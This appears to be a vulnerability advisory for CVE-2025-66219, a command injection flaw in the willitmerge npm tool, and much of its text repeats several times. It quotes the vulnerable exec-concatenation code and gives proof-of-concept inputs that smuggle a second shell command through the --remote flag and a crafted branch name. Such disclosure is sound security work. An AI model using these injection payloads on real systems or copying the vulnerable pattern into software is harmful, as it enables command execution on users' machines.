CVE-2025-66219

willitmerge is a command line tool to check if pull requests are mergeable. In versions 0.2.1 and prior, there is a command Injection vulnerability in willitmerge. The vulnerability manifests in this package due to the use of insecure child process execution API (exec) to which it concatenates user input, whether provided to the command-line flag, or is in user control in the target repository. At time of publication, no known fix is public.

willitmerge is a command line tool to check if pull requests are mergeable. In versions 0.2.1 and prior, there is a command Injection vulnerability in willitmerge. The vulnerability manifests in this package due to the use of insecure child process execution API (exec) to which it concatenates user input, whether provided to the command-line flag, or is in user control in the target repository. At time of publication, no known fix is public.

willitmerge describes itself as a command line tool to check if pull requests are mergeable. There is a Command Injection vulnerability in version [email protected].

Resources:

• Project's GitHub source code: https://github.com/shama/willitmerge/
• Project's npm package: https://www.npmjs.com/package/willitmerge

Background on exploitation

Reporting a Command Injection vulnerability in willitmerge npm package.

A security vulnerability manifests in this package due to the use of insecure child process execution API (exec) to which it concateanes user input, whether provided to the command-line flag, or is in user control in the target repository.

Exploit

POC 1

1. Install willitmerge
2. Run it with the following command

willitmerge --verbose --remote "https://github.com/lirantal/npq.git; touch /tmp/hel"

3. Confirm the file /tmp/hel is created on disk

GitHub-sourced attack vector

Lines 189-197 in lib/willitmerge.js pass user input controlled by repository collaborators into the git command:

  var cmds = [
    'git checkout -b ' + branch + ' ' + that.options.remote + '/' + iss.base.ref,
    'git remote add ' + branch + ' ' + gitUrl,
    'git pull ' + branch + ' ' + iss.head.ref,
    'git reset --merge HEAD',
    'git checkout ' + origBranch,
    'git branch -D ' + branch,
    'git remote rm ' + branch
  ];

Users creating malicious branch names such as ;{echo,hello,world}>/tmp/c

This is a similar attack vector to that which was reported for the [pullit vulnerability (https://security.snyk.io/vuln/npm:pullit:20180214)

Author

Liran Tal

willitmerge is a command line tool to check if pull requests are mergeable. In versions 0.2.1 and prior, there is a command Injection vulnerability in willitmerge. The vulnerability manifests in this package due to the use of insecure child process execution API (exec) to which it concatenates user input, whether provided to the command-line flag, or is in user control in the target repository. At time of publication, no known fix is public.

willitmerge describes itself as a command line tool to check if pull requests are mergeable. There is a Command Injection vulnerability in version [email protected].

Resources:

• Project's GitHub source code: https://github.com/shama/willitmerge/
• Project's npm package: https://www.npmjs.com/package/willitmerge

Background on exploitation

Reporting a Command Injection vulnerability in willitmerge npm package.

A security vulnerability manifests in this package due to the use of insecure child process execution API (exec) to which it concateanes user input, whether provided to the command-line flag, or is in user control in the target repository.

Exploit

POC 1

1. Install willitmerge
2. Run it with the following command

willitmerge --verbose --remote "https://github.com/lirantal/npq.git; touch /tmp/hel"

3. Confirm the file /tmp/hel is created on disk

GitHub-sourced attack vector

Lines 189-197 in lib/willitmerge.js pass user input controlled by repository collaborators into the git command:

  var cmds = [
    'git checkout -b ' + branch + ' ' + that.options.remote + '/' + iss.base.ref,
    'git remote add ' + branch + ' ' + gitUrl,
    'git pull ' + branch + ' ' + iss.head.ref,
    'git reset --merge HEAD',
    'git checkout ' + origBranch,
    'git branch -D ' + branch,
    'git remote rm ' + branch
  ];

Users creating malicious branch names such as ;{echo,hello,world}>/tmp/c

This is a similar attack vector to that which was reported for the [pullit vulnerability (https://security.snyk.io/vuln/npm:pullit:20180214)

Author

Liran Tal